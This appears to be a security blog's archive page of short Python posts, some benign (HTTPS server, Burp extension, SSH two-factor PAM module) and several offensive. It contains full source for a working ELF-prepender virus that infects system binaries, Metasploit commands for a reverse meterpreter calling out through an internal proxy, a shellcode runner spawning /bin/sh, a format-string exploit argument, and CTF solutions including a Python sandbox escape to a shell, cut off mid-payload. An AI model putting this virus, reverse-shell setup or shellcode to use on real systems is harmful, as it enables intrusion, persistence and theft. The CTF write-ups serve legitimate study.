Showing posts with label python. Show all posts
Showing posts with label python. Show all posts

# SimpleHTTPSServer with letsencrypt certificate


# apt-get update
# apt-get install software-properties-common
# add-apt-repository ppa:certbot/certbot
# apt-get update
# mkdir webserver
# cd webserver
# apt-get install certbot
# mkdir www
# certbot certonly --webroot -w $PWD/www -d mydomain.org -d www.mydomain.org
# cp /etc/letsencrypt/live/mydomain.org/privkey.pem .
# cp /etc/letsencrypt/live/mydomain.org/fullchain.pem .
# cat privkey.pem fullchain.pem > cert.pem
# cat https-server.py
import BaseHTTPServer, SimpleHTTPServer
import os
import ssl
import sys

port = 443

iface = sys.argv[1]
ipv4 = os.popen('ip addr show ' + iface).read().split('inet ')[1].split('/')[0]

cwd = os.getcwd()
certfile = cwd + '/cert.pem'
wwwdir = cwd + '/www'

os.chdir(wwwdir)

httpd = BaseHTTPServer.HTTPServer((ipv4, port), SimpleHTTPServer.SimpleHTTPRequestHandler)
httpd.socket = ssl.wrap_socket (httpd.socket, certfile = certfile, server_side = True)
httpd.serve_forever()
# python https-server.py eth0

# GynvaelEN mission 011


# cat mission_11-firmware.txt
# Number of arguments this code object expects
co_argcount 1
# Tuple of constant objects
co_consts (None, '4e5d4e92865a4e495a86494b5a5d49525261865f5758534d4a89', 'hex', 89, 255, 115, 50)
# Flags
co_flags 67
# Function name
co_name check_password
# Names used
co_names ('decode', 'len', 'False', 'all', 'zip', 'ord')
# Number of local variables
co_nlocals 4
# The depth of the stack
co_stacksize 6
# Argument names
co_varnames ('s', 'good', 'cs', 'cg')

      0 LOAD_CONST          1  stack[0] = '4e5d4e92865a4e495a86494b5a5d49525261865f5758534d4a89'
      3 LOAD_ATTR           0  names[0] # decode
      6 LOAD_CONST          2  stack[1] = 'hex'
      9 CALL_FUNCTION       1  stack[0] = 'N]N\x92\x86ZNIZ\x86IKZ]IRRa\x86_WXSMJ\x89' # 26
     12 STORE_FAST          1  good = 'N]N\x92\x86ZNIZ\x86IKZ]IRRa\x86_WXSMJ\x89' # 26; stack is empty
     15 LOAD_GLOBAL         1  stack[0] = 'len'
     18 LOAD_FAST           0  stack[1] = 's'
     21 CALL_FUNCTION       1  ?; stack is empty
     24 LOAD_GLOBAL         1  stack[0] = 'len'
     27 LOAD_FAST           1  stack[1] = 'good'
     30 CALL_FUNCTION       1  26; stack is empty
     33 COMPARE_OP          3 (!=) len(s) != len(goog)
     36 POP_JUMP_IF_FALSE  43    if eq goto 43
     39 LOAD_GLOBAL         2    else stack[0] = 'False'
     42 RETURN_VALUE   return 'False'
>>   43 LOAD_GLOBAL         3    stack[0] = 'all'
     46 BUILD_LIST          0    stack[0] = ['all']
     49 LOAD_GLOBAL         4    stack[1] = 'zip'
     52 LOAD_FAST           0    stack[2] = 's'
     55 LOAD_FAST           1    stack[3] = 'good'
     58 CALL_FUNCTION       2    stack[0] = zip(s, good)
     61 GET_ITER      stack[0] = iter(zip(s, good))
>>   62 FOR_ITER           52 (to 117)
     65 UNPACK_SEQUENCE     2    stack[1] = s[i], good[i]
     68 STORE_FAST          2    cs = s[i]
     71 STORE_FAST          3    cg = good[i]
     74 LOAD_GLOBAL         5    stack[0] = 'ord'
     77 LOAD_FAST           2    stack[1] = cs
     80 CALL_FUNCTION       1    stack[0] = ord(cs)
     83 LOAD_CONST          3    stack[1] = 89
     86 BINARY_SUBTRACT     stack[0] = ord(cs) - 89
     87 LOAD_CONST          4    stack[1] = 255
     90 BINARY_AND      stack[0] = (ord(cs) - 89) & 255
     91 LOAD_CONST          5    stack[1] = 115
     94 BINARY_XOR      stack[0] = ((ord(cs) - 89) & 255) ^ 115
     95 LOAD_CONST          6    stack[1] = 50
     98 BINARY_XOR      stack[0] = (((ord(cs) - 89) & 255) ^ 115) ^ 50
     99 LOAD_GLOBAL         5    stack[1] = 'ord'
    102 LOAD_FAST           3    stack[2] = cg
    105 CALL_FUNCTION       1    stack[1] = ord(cg)
    108 COMPARE_OP          2 (==)  computed_cg == cg
    111 LIST_APPEND         2
    114 JUMP_ABSOLUTE      62    goto 62
>>  117 CALL_FUNCTION       1
    120 RETURN_VALUE

# cat mission_11.py
password = ''

for i in '4e5d4e92865a4e495a86494b5a5d49525261865f5758534d4a89'.decode('hex'):
    password += chr(255 & (89 + (ord(i) ^ 50 ^ 115)))

print password

# python mission_11.py
huh, that actually worked!

Source

https://www.youtube.com/watch?v=s5gOW-N9AAo (1:46:20)

# Reverse meterpreter through an internal HTTP proxy server


Attacker's host

msf > use payload/python/meterpreter/reverse_http
msf payload(reverse_http) > set lhost LOCAL_PUBLIC_IP
msf payload(reverse_http) > set lport 80
msf payload(reverse_http) > set payloadproxyhost USERNAME:PASSWORD@INTERNAL_PROXY:IP
msf payload(reverse_http) > set payloadproxyport INTERNAL_PROXY_PORT
msf payload(reverse_http) > generate -b '\x00\xff' -t raw -f met.py

msf > use exploit/multi/handler
msf exploit(handler) > set payload python/meterpreter/reverse_http
msf exploit(handler) > set lhost LOCAL_PUBLIC_IP
msf exploit(handler) > set lport 80
msf exploit(handler) > set payloadproxyhost USERNAME:PASSWORD@INTERNAL_PROXY:IP
msf exploit(handler) > set PayloadProxyPort INTERNAL_PROXY_PORT
msf exploit(handler) > run

Compromised server

# python met.py

# Burp extension to hook requests/responses

$ cat hooker.py
from burp import IBurpExtender
from burp import IHttpListener
from java.io import PrintWriter

class BurpExtender(IBurpExtender, IHttpListener):

 def registerExtenderCallbacks(self, callbacks):
  self._callbacks = callbacks
  self._helpers = callbacks.getHelpers()
  callbacks.setExtensionName("Hooker")
  callbacks.registerHttpListener(self)
         self.stdout = PrintWriter(callbacks.getStdout(), True)
         self.stderr = PrintWriter(callbacks.getStderr(), True)
  callbacks.issueAlert("Loaded")

 def processHttpMessage(self, toolFlag, messageIsRequest, currentRequest):
         self.stdout.println("processHttpMessage")

  # Process requests
  if messageIsRequest:
   requestInfo = self._helpers.analyzeRequest(currentRequest)

   self.headers = list(requestInfo.getHeaders())
   # Modify headers
   self.setHeader('User-Agent', 'LolBot')

   bodyBytes = currentRequest.getRequest()[requestInfo.getBodyOffset():]
   self.body = self._helpers.bytesToString(bodyBytes)
   # Modify body
   bodysuffix = ''
   newMsgBody = self.body + bodysuffix

   newMessage = self._helpers.buildHttpMessage(self.headers, newMsgBody)
   currentRequest.setRequest(newMessage)

  # Process responses
  else:
   pass

 def deleteHeader(self, header):
  new_headers = []
  for h in self.headers:
   if header not in h:
    new_headers.append(h)
  self.headers = new_headers

 def setHeader(self, header, value):
  new_headers = []
  for h in self.headers:
   if header in h:
    h = header + ': ' + value
   new_headers.append(h)
  self.headers = new_headers

References

https://portswigger.net/burp/extender/
http://www.jython.org/downloads.html

# SSH two-factor authentication (pam + telegram)


# apt-get install libpam-python

# grep -m 1 ChallengeResponseAuthentication /etc/ssh/sshd_config
ChallengeResponseAuthentication yes

# cat /etc/pam.d/sshd | grep -B 1 -A 1 authentication
auth requisite /lib/security/pam_python.so /lib/security/telegramPIN.py
# Standard Un*x authentication.
@include common-auth

# cat /lib/security/telegramPIN.py
import base64
import random
import subprocess

def pam_sm_authenticate(pamh, flags, argv):
  local_network = '192.168.1.'
  if local_network in pamh.rhost:
      return pamh.PAM_SUCCESS
  else:
    try:
      user = pamh.get_user(None)
    except pamh.exception, e:
      return e.pam_result
    r = random.SystemRandom()
    pin = ''.join([str(r.randint(0, 9)) for i in xrange(0,8)])
    b64 = base64.b64encode('SSH-PIN = ' + pin)
    subprocess.Popen(['/send_telegram_msg.py', b64])
    msg = pamh.Message(pamh.PAM_PROMPT_ECHO_OFF, 'PIN: ')
    rsp = pamh.conversation(msg)
    if rsp.resp == pin:
      return pamh.PAM_SUCCESS
    return pamh.PAM_AUTH_ERR

def pam_sm_setcred(pamh, flags, argv):
  return pamh.PAM_SUCCESS

def pam_sm_acct_mgmt(pamh, flags, argv):
  return pamh.PAM_SUCCESS

def pam_sm_open_session(pamh, flags, argv):
  return pamh.PAM_SUCCESS

def pam_sm_close_session(pamh, flags, argv):
  return pamh.PAM_SUCCESS

def pam_sm_chauthtok(pamh, flags, argv):
  return pamh.PAM_SUCCESS

# service ssh restart

References

http://pam-python.sourceforge.net/doc/html/
http://www.linux-pam.org/Linux-PAM-html/Linux-PAM_MWG.html

# ELF prepender in python


# ls -lh /usr/bin/id
-rwxr-xr-x 1 root root 34K Jan 14 03:50 /usr/bin/id
# file /usr/bin/id
/usr/bin/id: ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=1a041b19449828face10d6ddcf7cffe259196923, stripped
# /usr/bin/id
uid=0(root) gid=0(root) groups=0(root)

# ./infect.py @ /usr/bin/id

# ls -lh /usr/bin/id
-rwxr-xr-x 1 root root 22K Jan 14 03:50 /usr/bin/id
# file /usr/bin/id
/usr/bin/id: Python script, ASCII text executable, with very long lines
# /usr/bin/id
uid=0(root) gid=0(root) groups=0(root)
# ls -lh /usr/bin/id
-rwxr-xr-x 1 root root 22K Jan 14 03:50 /usr/bin/id

# cat infect.py
#!/usr/bin/env python

from base64 import b64decode, b64encode
from os import chmod, chown, execv, fork, path as p, remove, stat, utime, wait
from sys import argv
from zlib import compress, decompress



class IO:

 def __init__(self, path):
  self.path = path
  self.stat = stat(path)
  if self.data is None:
   self.data = self.Encode()

 def Decode(self, data):
  return decompress(b64decode(data))

 def Encode(self):
  with open(self.path, 'rb') as f:
   data = f.read()
  return b64encode(compress(data))

 def WriteToDisk(self, data = None):
  if data == None:
   data = self.Decode(self.data)
  with open(self.path, 'wb') as f:
   f.write(data)
  chown(self.path, self.stat.st_uid, self.stat.st_gid)
  chmod(self.path, self.stat.st_mode)
  utime(self.path, (self.stat.st_atime, self.stat.st_mtime))



class Host(IO):

 def __init__(self, path):
  self.infected = False
  self.data = False
  IO.__init__(self, path)

 def Infected(self):
  infected = 'self.infected = True'
  data = self.Decode(self.Encode())
  if infected in data[:1000]:
   return True
  else:
   return False

 def Run(self, arg):
  execv(arg[0], arg)



class Virus(IO):

 def __init__(self, arg):
  self.arg = arg
  self.data = None
  IO.__init__(self, p.abspath(__file__))

 def InfectHost(self, path):
  host = Host(path)
  if not host.Infected():
   infect = self.Decode(self.Encode())
   infect = infect.replace('False', 'True', 1)
   infect = infect.replace('False', "'" + host.Encode() + "'", 1)
   host.WriteToDisk(infect)

 def Run(self):
  if len(self.arg) > 1 and self.arg[1] == '@':
   self.InfectHost(self.arg[2])
  else:
   # First: Run the host program
   self.RunHost()
   # Second: Do other things like ...
   ## - Find and infect new hosts
   ## - Exfiltrate data
   ## - ...

 def RunHost(self):
  data = self.Encode()
  host = Host(self.path)
  host.WriteToDisk()
  pid = fork()
  if pid == 0:
   host.Run(self.arg)
  else:
   wait()
   self.WriteToDisk()



if __name__ == "__main__": Virus(argv).Run()

# Execute shellcode in python


$ cat runshellcode.py
from ctypes import CDLL, c_char_p, c_void_p, memmove, cast, CFUNCTYPE
from sys import argv


libc = CDLL('libc.so.6')

shellcode = argv[1].replace('\\x', '').decode('hex')

sc = c_char_p(shellcode)
size = len(shellcode)
addr = c_void_p(libc.valloc(size))
memmove(addr, sc, size)
libc.mprotect(addr, size, 0x7)
run = cast(addr, CFUNCTYPE(c_void_p))
run()
$ uname -m
x86_64
$ # 23 bytes - Gu Zhengxiong
$ python disassemble.py x86 64 '\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05'
len = 23
0x1000: xor esi, esi
0x1002: movabs  rbx, 0x68732f2f6e69622f
0x100c: push  rsi
0x100d: push  rbx
0x100e: push  rsp
0x100f: pop rdi
0x1010: push  0x3b
0x1012: pop rax
0x1013: xor edx, edx
0x1015: syscall
$ python runshellcode.py '\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05'
$
$ uname -m
i686
$ # 21 bytes - Gu Zhengxiong
$ python disassemble.py x86 32 '\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80'
len = 21
0x1000: xor ecx, ecx
0x1002: mul ecx
0x1004: mov al, 0xb
0x1006: push  ecx
0x1007: push  0x68732f2f
0x100c: push  0x6e69622f
0x1011: mov ebx, esp
0x1013: int 0x80
$ python runshellcode.py '\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80'
$
$ cat disassemble.py
from sys import argv
from capstone import *

CODE = argv[3].replace('\\x', '').decode('hex')
print 'len =', len(CODE)

ARCH = {
  'all'   : CS_ARCH_ALL,
  'arm'   : CS_ARCH_ARM,
  'arm64'   : CS_ARCH_ARM64,
  'mips'    : CS_ARCH_MIPS,
  'ppc'   : CS_ARCH_PPC,
  'x86'   : CS_ARCH_X86,
  'xcore'   : CS_ARCH_XCORE
}

MODE = {
  '16'    : CS_MODE_16, 
  '32'    : CS_MODE_32,
  '64'    : CS_MODE_64,
  'arm'   : CS_MODE_ARM,
  'be'    : CS_MODE_BIG_ENDIAN,
  'le'    : CS_MODE_LITTLE_ENDIAN,
  'micro'   : CS_MODE_MICRO,
  'n64'   : CS_MODE_N64,
  'thumb'   : CS_MODE_THUMB
}

md = Cs(ARCH[argv[1]], MODE[argv[2]])
for i in md.disasm(CODE, 0x1000):
  print '0x%x:\t%s\t%s' % (i.address, i.mnemonic, i.op_str)

# Serializing functions with marshal


# cat serializer.py
import base64
import marshal

def function(msg):
 print msg

print base64.b64encode(marshal.dumps(function.func_code))
# cat runner.py 
import base64
import marshal
import sys
import types

code = marshal.loads(base64.b64decode(sys.argv[1]))
func = types.FunctionType(code, globals())
func('Test')
# python serializer.py
YwEAAAABAAAAAQAAAEMAAABzCQAAAHwAAEdIZAAAUygBAAAATigAAAAAKAEAAAB0AwAAAG1zZygAAAAAKAAAAABzDQAAAHNlcmlhbGl6ZXIucHl0CAAAAGZ1bmN0aW9uBAAAAHMCAAAAAAE=
# python runner.py YwEAAAABAAAAAQAAAEMAAABzCQAAAHwAAEdIZAAAUygBAAAATigAAAAAKAEAAAB0AwAAAG1zZygAAAAAKAAAAABzDQAAAHNlcmlhbGl6ZXIucHl0CAAAAGZ1bmN0aW9uBAAAAHMCAAAAAAE=
Test

# WAP Challenge 14: HTTP Traffic File Carving


# url='http://videos.pentesteracademy.com.s3.amazonaws.com/videos/wap-challenges/http-forensics2.pcap'
# wget --quiet --output-document=http-forensics2.pcapng $url
# editcap -F libpcap -T ether http-forensics2.pcapng http-forensics2.pcap
# tshark -nr http-forensics2.pcap | grep octet
 15   9.678371 192.168.1.13 -> 67.159.60.66 HTTP 1155 POST /upload_fileapi.php?3529945644=0&file=0&startpos=0&r=0.5286034531386509 HTTP/1.1  (application/octet-stream)
 63  27.056300 192.168.1.13 -> 67.159.60.61 HTTP 1161 POST /upload_fileapi.php?7792025787=0&file=0&startpos=0&r=0.3998272621670734 HTTP/1.1  (application/octet-stream)
116  46.865880 192.168.1.13 -> 67.159.60.29 HTTP 1161 POST /upload_fileapi.php?4000038131=0&file=0&startpos=0&r=0.9503461291640495 HTTP/1.1  (application/octet-stream)
182  67.593167 192.168.1.13 -> 84.39.117.75 HTTP 1160 POST /upload_fileapi.php?5200689443=0&file=0&startpos=0&r=0.02202681328946554 HTTP/1.1  (application/octet-stream)
# cat solution.py
#!/usr/bin/python

import itertools
import scapy.all as scapy
import zipfile
import os 

pcap = scapy.rdpcap("http-forensics2.pcap")
zip = []

for frame in pcap:
    if 'octet-stream' in frame[scapy.Raw].load:
        zip.append(frame[scapy.Raw].load.split('\r\n')[-3])

i = 0

perms = itertools.permutations(zip, len(zip))
for p in perms:
 zfn = str(i) + '.zip'
 zf = open(zfn, 'wb')
 for ostream in p: 
  zf.write(ostream)
 zf.close()
 if zipfile.is_zipfile(zfn):
  try:
   zf = zipfile.ZipFile(zfn, 'r')
   zf.extractall()
   print zf.namelist()
   os.exit()
  except:
   os.remove(zfn)
   pass
  i += 1
# ./solution.py
['split-file/', 'split-file/pass']
# cat split-file/pass
12wsdqwe32109

# PicoCTF 2k13 - moreevil


# gdb -q -n -x moreevil.py
Please enter your password: 1  
 [0x401f2f] cmp ebx, eax                                                        [0x1] < [0x13]
Wrong!

# gdb -q -n -x moreevil.py
Please enter your password: 1234567890123456789 
[0x4020df] xor ebx, r10d                                                        ['1'] ^ ['q'] = '@'
 [0x4020df] xor ebx, r10d                                                       ['2'] ^ ['q'] = 'C'
  [0x4020df] xor ebx, r10d                                                      ['3'] ^ ['q'] = 'B'
   [0x4020df] xor ebx, r10d                                                     ['4'] ^ ['q'] = 'E'
    [0x4020df] xor ebx, r10d                                                    ['5'] ^ ['q'] = 'D'
     [0x4020df] xor ebx, r10d                                                   ['6'] ^ ['q'] = 'G'
      [0x4020df] xor ebx, r10d                                                  ['7'] ^ ['q'] = 'F'
       [0x4020df] xor ebx, r10d                                                 ['8'] ^ ['q'] = 'I'
        [0x4020df] xor ebx, r10d                                                ['9'] ^ ['q'] = 'H'
         [0x4020df] xor ebx, r10d                                               ['0'] ^ ['q'] = 'A'
          [0x4020df] xor ebx, r10d                                              ['1'] ^ ['q'] = '@'
           [0x4020df] xor ebx, r10d                                             ['2'] ^ ['q'] = 'C'
            [0x4020df] xor ebx, r10d                                            ['3'] ^ ['q'] = 'B'
             [0x4020df] xor ebx, r10d                                           ['4'] ^ ['q'] = 'E'
              [0x4020df] xor ebx, r10d                                          ['5'] ^ ['q'] = 'D'
               [0x4020df] xor ebx, r10d                                         ['6'] ^ ['q'] = 'G'
                [0x4020df] xor ebx, r10d                                        ['7'] ^ ['q'] = 'F'
                 [0x4020df] xor ebx, r10d                                       ['8'] ^ ['q'] = 'I'
                  [0x4020df] xor ebx, r10d                                      ['9'] ^ ['q'] = 'H'
                   [0x401fd6] cmp r11d, ebx                                     [0x13] == [0x13]
[0x4021e8] mov rbx, rax                                                         rbx = [0x6030c8]
[0x4021eb] mov rbx, QWORD PTR [rbx]                                             rbx = [0x19]
[0x4021ee] cmp r11d, ebx                                                        ['@'] > [0x19]
Wrong!
# gdb moreevil
(gdb) set environment LD_PRELOAD=lib/hook64.so
(gdb) break *0x4021ee
(gdb) run
Please enter your password: 1234567890123456789
(gdb) x/152xb 0x6030c8
0x6030c8: 0x19 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x6030d0: 0x1e 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x6030d8: 0x06 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x6030e0: 0x51 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x6030e8: 0x1d 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x6030f0: 0x1e 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x6030f8: 0x06 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x603100: 0x51 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x603108: 0x12 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x603110: 0x10 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x603118: 0x1f 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x603120: 0x51 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x603128: 0x08 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x603130: 0x1e 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x603138: 0x04 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x603140: 0x51 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x603148: 0x16 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x603150: 0x1e 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x603158: 0x4e 0x00 0x00 0x00 0x00 0x00 0x00 0x00

# ipython
In [1]: key = [0x19, 0x1e, 0x06, 0x51, 0x1d, 0x1e, 0x06, 0x51, 0x12, 0x10, 0x1f, 0x51, 0x08, 0x1e, 0x04, 0x51, 0x16, 0x1e, 0x4e]
In [2]: password = ''
In [3]: for byte in key:
            password += chr(byte ^ ord('q'))

In [4]: password
Out[4]: 'how low can you go?'

# PicoCTF 2k13 - Mildly Evil


$ objdump -M intel -d mildly_evil 

mildly_evil:     file format elf32-i386

Disassembly of section .text:

080480b8 <_start>:
 80480b8: bd 2c 91 04 08        mov    ebp,0x804912c
 80480bd: 89 ec                 mov    esp,ebp
 80480bf: eb 00                 jmp    80480c1 <go>

080480c1 <go>:
 80480c1: 39 e5                 cmp    ebp,esp
 80480c3: 7f 59                 jg     804811e <exit>
 80480c5: 58                    pop    eax
 80480c6: 5b                    pop    ebx
 80480c7: 59                    pop    ecx
 80480c8: 85 c0                 test   eax,eax
 80480ca: 7c 2f                 jl     80480fb <gc>
 80480cc: 85 db                 test   ebx,ebx
 80480ce: 7c 14                 jl     80480e4 <pc>
 80480d0: 8d 44 85 00           lea    eax,[ebp+eax*4+0x0]
 80480d4: 8b 00                 mov    eax,DWORD PTR [eax]
 80480d6: 8d 5c 9d 00           lea    ebx,[ebp+ebx*4+0x0]
 80480da: 29 03                 sub    DWORD PTR [ebx],eax
 80480dc: 7f e3                 jg     80480c1 <go>
 80480de: 8d 64 8d 00           lea    esp,[ebp+ecx*4+0x0]
 80480e2: eb dd                 jmp    80480c1 <go>

080480e4 <pc>:
 80480e4: 8d 4c 85 00           lea    ecx,[ebp+eax*4+0x0]
 80480e8: ba 01 00 00 00        mov    edx,0x1
 80480ed: bb 01 00 00 00        mov    ebx,0x1
 80480f2: b8 04 00 00 00        mov    eax,0x4
 80480f7: cd 80                 int    0x80
 80480f9: eb c6                 jmp    80480c1 <go>

080480fb <gc>:
 80480fb: 8d 74 9d 00           lea    esi,[ebp+ebx*4+0x0]
 80480ff: b9 28 91 04 08        mov    ecx,0x8049128
 8048104: ba 01 00 00 00        mov    edx,0x1
 8048109: 31 db                 xor    ebx,ebx
 804810b: b8 03 00 00 00        mov    eax,0x3
 8048110: cd 80                 int    0x80
 8048112: b8 28 91 04 08        mov    eax,0x8049128
 8048117: 0f b6 00              movzx  eax,BYTE PTR [eax]
 804811a: 01 06                 add    DWORD PTR [esi],eax
 804811c: eb a3                 jmp    80480c1 <go>

0804811e <exit>:
 804811e: b8 01 00 00 00        mov    eax,0x1
 8048123: 31 db                 xor    ebx,ebx
 8048125: cd 80                 int    0x80

$ cat bruteforce.sh 
#!/bin/bash

alphabet=`echo - {0..9} {A..Z} _ {a..z}`
key=''

cat > gdb.script << eof
break go
ignore 1 999999
run < key
info breakpoints
quit
eof

while [ true ]; do
    min_hits=999999
    f=0
    for i in $alphabet; do
        echo -n $i
        echo $key$i > key
        output=`gdb -q ./mildly_evil < gdb.script 2>&1`
        wrong=`echo "$output" | grep 'Wrong'`
        hits=`echo "$output" | grep 'already hit' | awk '{print $4}'`
        if [ "$wrong" != "" ]; then
            if [ $hits -lt $min_hits ]; then
                min_hits=$hits
                if [ $f -eq 1 ]; then 
                    key=$key$i
                    break
                fi
                f=1
            fi
        else
            echo 
            rm -f gdb.script key
            exit
        fi
        echo -ne '\b'
    done
done
$ ./bruteforce.sh
1337RE_m4ster
$ cat bruteforce.py 
import re
import gdb
import sys

def ge(command):
    return gdb.execute(command, False, True)

alphabet = []
alphabet.append(chr(45))
for i in xrange(48,58):
    alphabet.append(chr(i))
for i in xrange(65,91):
    alphabet.append(chr(i))
alphabet.append(chr(95))
for i in xrange(97,123):
    alphabet.append(chr(i))
key = ''
ofile = 'result.txt'

ge("set pagination off")
ge("set confirm off")
ge("file mildly_evil")
ge("break go")

while True:
    min_hits = 999999
    m = 0
    for i in alphabet:
        sys.stdout.write(i)
        sys.stdout.flush()
        ge("ignore 1 999999")
        gdb.execute("run <<< '" + key + i + "' > " + ofile, False, True)
        f = open(ofile, 'r')
        wrong = re.findall("Wrong", f.read())
        f.close()
        output = ge("info breakpoints")
        hits  = int(re.findall("hit ([0-9]+) times", output)[0])
        if wrong:
            if hits < min_hits:
                min_hits = hits
                if m == 1:
                    key += i
                    break
                m = 1
        else:
            print
            sys.exit()
        sys.stdout.write('\b')
ge("quit")
$ gdb -q -n -x bruteforce.py
1337RE_m4ster

# offsetbruteforcer


$ cat offsetbruteforcer.py 
import subprocess
import struct

for i in xrange(1, 255):
 print i

 ### arg = "/bin/sh;" + struct.pack('B', i) + "\xd6\xff\xff" + "\x90"*4 + "\x01\xa0\x04\x08" + "%x"*10 + "%hn" + "%134513561d" + "%n"
 ### program = "./format2"
 arg = ""
 program = ""

 output = subprocess.Popen([program, arg])
 output.communicate()

# PicoCTF 2k13 - Python Eval 5


# cat task5.py 
#!/usr/bin/python -u
# task5.py
# A real challenge for those python masters out there :)

from sys import modules
modules.clear()
del modules

_raw_input = raw_input
_BaseException = BaseException
_EOFError = EOFError

__builtins__.__dict__.clear()
__builtins__ = None

print 'Get a shell, if you can...'

while 1:
  try:
    d = {'x':None}
    exec 'x='+_raw_input()[:50] in d
    print 'Return Value:', d['x']
  except _EOFError, e:
    raise e
  except _BaseException, e:
    print 'Exception:', e
# nc python.picoctf.com 6365
Get a shell, if you can...
().__class__.__base__.__subclasses__()[53]
Return Value: <class 'warnings.catch_warnings'>
__builtins__
Return Value: {}
# ipython
In [1]: for c in "().__class__.__base__.__subclasses__()[53].__init__.func_globals['linecache'].__dict__['os'].system('sh')":
   ...:     print "__builtins__['x'] = __builtins__['x'] + " + '"' + c + '"'
   ...:
# nc python.picoctf.com 6365
Get a shell, if you can...
__builtins__['x'] = ''
__builtins__['x'] = __builtins__['x'] + "("
__builtins__['x'] = __builtins__['x'] + ")"
__builtins__['x'] = __builtins__['x'] + "."
__builtins__['x'] = __builtins__['x'] + "_"
__builtins__['x'] = __builtins__['x'] + "_"
__builtins__['x'] = __builtins__['x'] + "c"
__builtins__['x'] = __builtins__['x'] + "l"
__builtins__['x'] = __builtins__['x'] + "a"
__builtins__['x'] = __builtins__['x'] + "s"
__builtins__['x'] = __builtins__['x'] + "s"
__builtins__['x'] = __builtins__['x'] + "_"
__builtins__['x'] = __builtins__['x'] + "_"
__builtins__['x'] = __builtins__['x'] + "."
__builtins__['x'] = __builtins__['x'] + "_"
__builtins__['x'] = __builtins__['x'] + "_"
__builtins__['x'] = __builtins__['x'] + "b"
__builtins__['x'] = __builtins__['x'] + "a"
__builtins__['x'] = __builtins__['x'] + "s"
__builtins__['x'] = __builtins__['x'] + "e"
__builtins__['x'] = __builtins__['x'] + "_"
__builtins__['x'] = __builtins__['x'] + "_"
__builtins__['x'] = __builtins__['x'] + "."
__builtins__['x'] = __builtins__['x'] + "_"
__builtins__['x'] = __builtins__['x'] + "_"
__builtins__['x'] = __builtins__['x'] + "s"
__builtins__['x'] = __builtins__['x'] + "u"
__builtins__['x'] = __builtins__['x'] + "b"
__builtins__['x'] = __builtins__['x'] + "c"
__builtins__['x'] = __builtins__['x'] + "l"
__builtins__['x'] = __builtins__['x'] + "a"
__builtins__['x'] = __builtins__['x'] + "s"
__builtins__['x'] = __builtins__['x'] + "s"
__builtins__['x'] = __builtins__['x'] + "e"
__builtins__['x'] = __builtins__['x'] + "s"
__builtins__['x'] = __builtins__['x'] + "_"
__builtins__['x'] = __builtins__['x'] + "_"
__builtins__['x'] = __builtins__['x'] + "("
__builtins__['x'] = __builtins__['x'] + ")"
__builtins__['x'] = __builtins__['x'] + "["
__builtins__['x'] = __builtins__['x'] + "5"
__builtins__['x'] = __builtins__['x'] + "3"
__builtins__['x'] = __builtins__['x'] + "]"
__builtins__['x'] = __builtins__['x'] + "."
__builtins__['x'] = __builtins__['x'] + "_"
__builtins__['x'] = __builtins__['x'] + "_"
__builtins__['x'] = __builtins__['x'] + "i"
__builtins__['x'] = __builtins__['x'] + "n"
__builtins__['x'] = __builtins__['x'] + "i"
__builtins__['x'] = __builtins__['x'] + "t"
__builtins__['x'] = __builtins__['x'] + "_"
__builtins__['x'] = __builtins__['x'] + "_"
__builtins__['x'] = __builtins__['x'] + "."
__builtins__['x'] = __builtins__['x'] + "f"
__builtins__['x'] = __builtins__['x'] + "u"
__builtins__['x'] = __builtins__['x'] + "n"
__builtins__['x'] = __builtins__['x'] + "c"
__builtins__['x'] = __builtins__['x'] + "_"
__builtins__['x'] = __builtins__['x'] + "g"
__builtins__['x'] = __builtins__['x'] + "l"
__builtins__['x'] = __builtins__['x'] + "o"
__builtins__['x'] = __builtins__['x'] + "b"
__builtins__['x'] = __builtins__['x'] + "a"
__builtins__['x'] = __builtins__['x'] + "l"
__builtins__['x'] = __builtins__['x'] + "s"
__builtins__['x'] = __builtins__['x'] + "["
__builtins__['x'] = __builtins__['x'] + "'"
__builtins__['x'] = __builtins__['x'] + "l"
__builtins__['x'] = __builtins__['x'] + "i"
__builtins__['x'] = __builtins__['x'] + "n"
__builtins__['x'] = __builtins__['x'] + "e"
__builtins__['x'] = __builtins__['x'] + "c"
__builtins__['x'] = __builtins__['x'] + "a"
__builtins__['x'] = __builtins__['x'] + "c"
__builtins__['x'] = __builtins__['x'] + "h"
__builtins__['x'] = __builtins__['x'] + "e"
__builtins__['x'] = __builtins__['x'] + "'"
__builtins__['x'] = __builtins__['x'] + "]"
__builtins__['x'] = __builtins__['x'] + "."
__builtins__['x'] = __builtins__['x'] + "_"
__builtins__['x'] = __builtins__['x'] + "_"
__builtins__['x'] = __builtins__['x'] + "d"
__builtins__['x'] = __builtins__['x'] + "i"
__builtins__['x'] = __builtins__['x'] + "c"
__builtins__['x'] = __builtins__['x'] + "t"
__builtins__['x'] = __builtins__['x'] + "_"
__builtins__['x'] = __builtins__['x'] + "_"
__builtins__['x'] = __builtins__['x'] + "["
